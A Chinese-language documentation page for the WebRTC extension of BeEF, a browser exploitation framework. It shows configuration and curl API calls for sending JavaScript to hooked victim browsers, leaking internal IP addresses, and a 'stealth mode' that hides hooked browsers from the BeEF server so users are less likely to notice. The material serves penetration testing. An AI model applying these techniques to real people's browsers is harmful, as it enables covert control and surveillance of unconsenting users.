BeEF WebRTC擴展
WebRTC擴展
介紹
WebRTC代表Web實時通信,并允許兩個Web瀏覽器之間的對等通信。WebRTC擴展的代碼可以在這里找到。
默認情況下,BeEF使用XMLHttpRequest對象每5秒輪詢一次您的BeEF服務器。邏輯位于updater.js核心BeEF JavaScript客戶端的文件中。它執行一個setTimeout()函數調用,該函數執行beef.updater.get_commands(),hook.js從BeEF服務器請求文件。
BeEF還具有使用WebSocket協議的選項,該協議將通信從輪詢機制轉變為在服務器和瀏覽器之間發送和接收數據的雙向流式傳輸方法。
掛鉤輪詢和WebSocket通信的問題都是BeEF服務器的暴露。BeEF服務器的IP地址不僅通過網絡公開,而且通信在瀏覽器開發人員工具的“網絡”選項卡中可見。這增加了有經驗的用戶意識到其瀏覽器已被掛鉤的風險。

組態
要啟用WebRTC,只需true在config.yaml文件中將enable更改為即可。
beef:
extension:
webrtc:
name: 'WebRTC'
enable: false
authors: ["xntrik"]
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
# stunservers: '["stun:stun.l.google.com:19302"]'
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
使用率
使用對等連接框架,可以使用WebRTC檢索受害計算機的內部(位于NAT之后)IP地址。該命令可以在主機模塊文件夾下找到。
控制臺使用
編寫此擴展名后,控制臺模塊仍然可用并受支持。不幸的是,情況已不再如此。
其余API使用情況
獲取掛鉤瀏覽器的WebRTC狀態
GET /api/webrtc/status/:id
請求
獲取ID 1的狀態:
curl http://localhost:3000/api/webrtc/status/1?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
響應 {"success":true}
這意味著WebRTC可用于該會話。
在兩個掛鉤的瀏覽器之間啟動WebRTC
POST /api/webrtc/go
請求 這將啟動瀏覽器1和2之間的WebRTC通信。
curl -d '{"from":1,"to":2}'
http://localhost:3000/api/webrtc/go?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
響應
{"success":true}
傳送訊息
請求 此請求在瀏覽器1和2之間發送消息。
curl -d '{"from":1, "to":2, "message":"Just a plain message"}'
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
響應
{"success":true}
發送JavaScript執行
用于執行javascript的內置消息處理程序是%<code>,就像普通消息一樣發送。
這將從瀏覽器1到2發送一條消息以執行一段JavaScript:
請求
curl -d '{"from":1, "to":2, "message":"%alert(\"hello\");"}'
-H "Content-type: application/json; charset=UTF-8"
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
隱形模式
隱形模式也作為消息在兩個瀏覽器之間發送。該to瀏覽器將被放入隱形模式,其隧道通過的牛肉服務器通信from的瀏覽器。
進入隱形模式
請求
這會使瀏覽器2進入隱身模式(它停止與BeEF服務器通信)
curl -d '{"from":1, "to":2, "message":"!gostealth"}'
-H "Content-type: application/json; charset=UTF-8"
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
退出隱形模式
請求
curl -d '{"from":1, "to":2, "message":"!endstealth"}'
-H "Content-type: application/json; charset=UTF-8"
http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
通過WebRTC執行模塊
請求
告訴瀏覽器2(不與BeEF服務器通信)通過瀏覽器1執行命令102
name是選項的名稱,value是相應的選項值。
curl -d '{"from":1, "to":2, "cmdid":102, "options":[{"name":"Domain","value":"default_all"}]}'
-H "Content-type: application/json; charset=UTF-8"
http://127.0.0.1:3000/api/webrtc/cmdexec?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
結果將顯示在BeEF終端輸出中,并存儲在from瀏覽器的命令事件中。
從瀏覽器獲取事件數據
GET /api/webrtc/cmdevents/:id
請求
在瀏覽器1上獲取所有事件
curl http://127.0.0.1:3000/api/webrtc/cmdevents/1?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
響應
{"events_count":1,"events":[{"id":1,"hb_id":1,"target_id":2,"status":"fingerprint=223c40dcd69ee362dcf478a80d34bbe8&components=[{\"key\":\"userAgent\",\"value\":\"Mozill...(snipped)
命令執行的結果存儲在
from瀏覽器中。在這種情況下,可通過在瀏覽器1上請求事件來訪問瀏覽器2的所有命令結果。
BeEF中文文檔
推薦文章: